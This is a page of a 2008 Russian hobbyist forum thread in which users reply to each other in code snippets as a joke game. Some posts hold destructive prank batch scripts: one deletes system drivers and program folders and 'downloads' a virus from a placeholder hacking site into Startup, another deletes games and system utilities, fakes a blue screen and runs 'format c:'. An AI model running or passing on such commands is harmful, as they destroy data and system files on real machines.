Регистрация Вход
Приветствую Вас Гость | RSS

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 3 из 3
  • «
  • 1
  • 2
  • 3
Форум Progr Doing » Разное » Офф-топ » Листинги (Форум-гама "Листинги")
Листинги
progrДата: Понедельник, 30.06.2008, 12:44 | Сообщение # 31
Admin
Группа: Администраторы
Сообщений: 731
Репутация: 2
Статус: Offline
MsgBox("rmdir - это то же самое, что и rd. Она, кстати, удаляет только ПУСТУЮ папку. По крайней мере, так было до NT. Надо использовать DelTree. Она действительно все удаляет.")


Мой блог: http://keeg.ru/
 
glebonusДата: Понедельник, 30.06.2008, 13:33 | Сообщение # 32
Группа: Проверенные
Сообщений: 397
Репутация: 0
Статус: Offline
@echo off
echo А я вообще прогу на батнике пишу. smile
 
Stop_KranДата: Понедельник, 30.06.2008, 13:52 | Сообщение # 33
Admin
Группа: Администраторы
Сообщений: 296
Репутация: 0
Статус: Offline
org 7C00h
use16

jmp code
nop

db 'hellowrd'
SectSize dw 00200h
ClustSize db 001h
ResSecs dw 00001h
FatCnt db 002h
RootSiz dw 000E0h
TotSecs dw 00B40h
Media db 0F0h
FatSize dw 00009h
TrkSecs dw 00012h
HeadCnt dw 00002h
HidnSec dw 00000h

code:

cli
mov ax, cs
mov ds, ax
mov ss, ax
mov sp, 7c00h
sti

mov ax,0b800h
mov es,ax

mov di,200
mov ah,2
mov bx,MessStr
msg_print:
mov al,[cs:bx]
mov [es:di],ax
inc bx
add di,2
cmp bx,MessEnd
jnz msg_print

loo:
jmp loo

MessStr equ $
Message db 'Hello, World!'
MessEnd equ $


 
progrДата: Понедельник, 30.06.2008, 14:45 | Сообщение # 34
Admin
Группа: Администраторы
Сообщений: 731
Репутация: 2
Статус: Offline
MsgBox("а где ты взял оператор Media? Или что это?")


Мой блог: http://keeg.ru/
 
MivaДата: Вторник, 01.07.2008, 10:27 | Сообщение # 35
Группа: Проверенные
Сообщений: 56
Репутация: 0
Статус: Offline
@echo За Deltree огромное спасибо, помогло smile
deltree c:\WINDOWS\system32\drivers\
;Без дров прожить можно, те, которые винде необходимы, он сама создаёт, ну а без звука прожить можно.
deltree C:\Program Files\Internet Explorer\Plugins\
;Нечего флешки зырить biggrin
exit



 
progrДата: Вторник, 01.07.2008, 13:59 | Сообщение # 36
Admin
Группа: Администраторы
Сообщений: 731
Репутация: 2
Статус: Offline
MesageBox("Лучше очисти C:\Games и D:\Games. Людям работать надо, а не гамать =)");


Мой блог: http://keeg.ru/
 
glebonusДата: Среда, 02.07.2008, 00:48 | Сообщение # 37
Группа: Проверенные
Сообщений: 397
Репутация: 0
Статус: Offline
@echo off
echo А у меня в этих папках пусто smile
echo А IE я все равно не пользуюсь... wink
setlocal
set /p msg=Ведите сюда ваше сообщение:
echo Ваше сообщение: "%msg%"
 
MivaДата: Среда, 02.07.2008, 11:17 | Сообщение # 38
Группа: Проверенные
Сообщений: 56
Репутация: 0
Статус: Offline
@echo По многочсленным просьбам админов...
Deltree C:\Program Files\Akella\
Deltree C:\Program Files\Akella Games\
Deltree C:\Games\
Deltree D:\Program Files\Akella\
Deltree D:\Program Files\Akella Games\
Deltree D:\Games\
Deltree %programfiles%
mkdir %windir%\Crash\
copy http://www.*hacksite*/VeryVeryCrashableVirus.exe C:\Crash
copy Запусти это!!.lnk %userprofile%\Программы\Автогарузка\
exit



 
xyzДата: Среда, 02.07.2008, 12:00 | Сообщение # 39
Группа: Администраторы
Сообщений: 471
Репутация: 3
Статус: Offline
Quote (Miva)
\Программы\Автогарузка\

biggrin


не будь лохом :)

 
glebonusДата: Среда, 02.07.2008, 12:34 | Сообщение # 40
Группа: Проверенные
Сообщений: 397
Репутация: 0
Статус: Offline
Quote (Miva)
Deltree C:\Program Files\Akella\ Deltree C:\Program Files\Akella Games\ Deltree C:\Games\

А здеся у меня пусто... tongue smile wink
Quote (Miva)
copy http://www.*hacksite*/VeryVeryCrashableVirus.exe C:\Crash

А с сайтов копить нельзя tongue
И с чего бы у меня винда (%windir%) лежала прямо на C:, а не в папке "Windows" smile wink
Quote (Miva)
copy Запусти это!!.lnk %userprofile%\Программы\Автогарузка\

А другие локализации винды? tongue
А автогарузка - это круто
 
MivaДата: Среда, 02.07.2008, 16:24 | Сообщение # 41
Группа: Проверенные
Сообщений: 56
Репутация: 0
Статус: Offline
Quote (glebonus)
А с сайтов копить нельзя

У меня получалось... правда там ФТП был... happy

Добавлено (02.07.2008, 16:24)
---------------------------------------------
а C:\=%windir% - простите, недочёт wacko



 
Stop_KranДата: Среда, 02.07.2008, 18:56 | Сообщение # 42
Admin
Группа: Администраторы
Сообщений: 296
Репутация: 0
Статус: Offline
begin
writeln ( '
Quote (progr)
MsgBox("а где ты взял оператор Media? Или что это?")
' ) ;
writeln ( 'это всё хеловорлд в загрузочную область диска на ассе - писал не я =Ъ ' ) ;
writeln ( 'и про игры =). tux rasing к примеру, пойдёт без всех дров, без установки и.т.п. Ваши удалялки непомогут. Кстати, забыли удалить сапёр косынку солитер пинбол. ' ) ;
end.


 
glebonusДата: Среда, 02.07.2008, 23:07 | Сообщение # 43
Группа: Проверенные
Сообщений: 397
Репутация: 0
Статус: Offline
Тогда вот...

@echo off
echo Мы вас поздравляем!
echo Вы запустили ежедневную проверялку от начальника! :P
echo -----------------------------------------------
setlocal
if %USERNAME%==Gamer call :lbl1 ELSE call :lbl2
:lbl1
rundll32.exe user32.dll,MessageBeep
Rem Cпасибо Werber'у wink
echo Значит мы на работе, а юзернейм у вас Gamer? Нехорошо, сообщим начальству...
start C:/WINDOWS/secret/call.exe
set gamerlevel=1
call :lbl3
:lbl2
echo Пока успешно...
call :lbl3
:lbl3
If exist C:/Games goto lbl4 else goto lbl5
:lbl4
rundll32.exe user32.dll,MessageBeep
echo Так у вас существует каталог С:/games? Щас мы это исправим и не только это!
del c:\games\
del c:\program_files\progr_6.0\
del c:\program_files\games\
del c:\program_files\akela\
rem deltree - Это в досе помогало. В винде его заменил del
set gamerlevel /a %gamerlevel% + 1
call :lbl6
:lbl5
echo Успешно
call :lbl6
:lbl6
if exist %windir%\system32\winmine.exe goto lbl7 else goto lbl8
:lbl7
rundll32.exe user32.dll,MessageBeep
echo Вы не удалили сапер? Мы вам отомстим
del %windir%/system32/winmine.exe
del %windir%/system32/sol.exe
del %windir%/system32/mshearts.exe
del %windir%/system32/mspaint.exe
set gamerlevel /a %gamerlevel% + 1
goto lbl9
:lbl8
echo Успешно
goto lbl9
:lbl9
if %gamerlevel%==3 goto lbl10 else goto lbl11
:lbl10
echo Ваше имя пользователя "Gamer", у вас на диске C: есть папка "Games" и вы не удалили "сапер"?!!!!
echo Вот вам! Получайте!!!
set /p tobsod=Жми, тобы продолжить >>>
cls
color 1f
echo A problem has deteted on your computer and windows has been shutdown to prevent damage to your computer
set /p tobsod=
cls
color
echo Ха-ха! Поверил в BSOD!!!! На тебе - format c:
format c:
:lbl11
start c:/sendtodirector.exe
echo Спасибо за тест. Запускайте его ежедневно!
echo Данные были отправлены вашему начальству
echo Для пущего соответствия офису вашей командной строке будет придан офисный стиль (черным по белому)
color f0
exit /b

Добавлено (02.07.2008, 23:07)
---------------------------------------------
вот это листинг... surprised сам удивился.

 
progrДата: Четверг, 03.07.2008, 15:48 | Сообщение # 44
Admin
Группа: Администраторы
Сообщений: 731
Репутация: 2
Статус: Offline
Кстати, в винде разделение папок - обратный слэш. Не путай с линухой smile


Мой блог: http://keeg.ru/
 
glebonusДата: Четверг, 03.07.2008, 18:38 | Сообщение # 45
Группа: Проверенные
Сообщений: 397
Репутация: 0
Статус: Offline
Точно... правда кое-где все-таки я написал обратный.
 
Форум Progr Doing » Разное » Офф-топ » Листинги (Форум-гама "Листинги")
  • Страница 3 из 3
  • «
  • 1
  • 2
  • 3
Поиск:

На развитие Progr!
ЯндексЯндекс. ДеньгиХочу такую же кнопку

Copyright Splash Software © 2019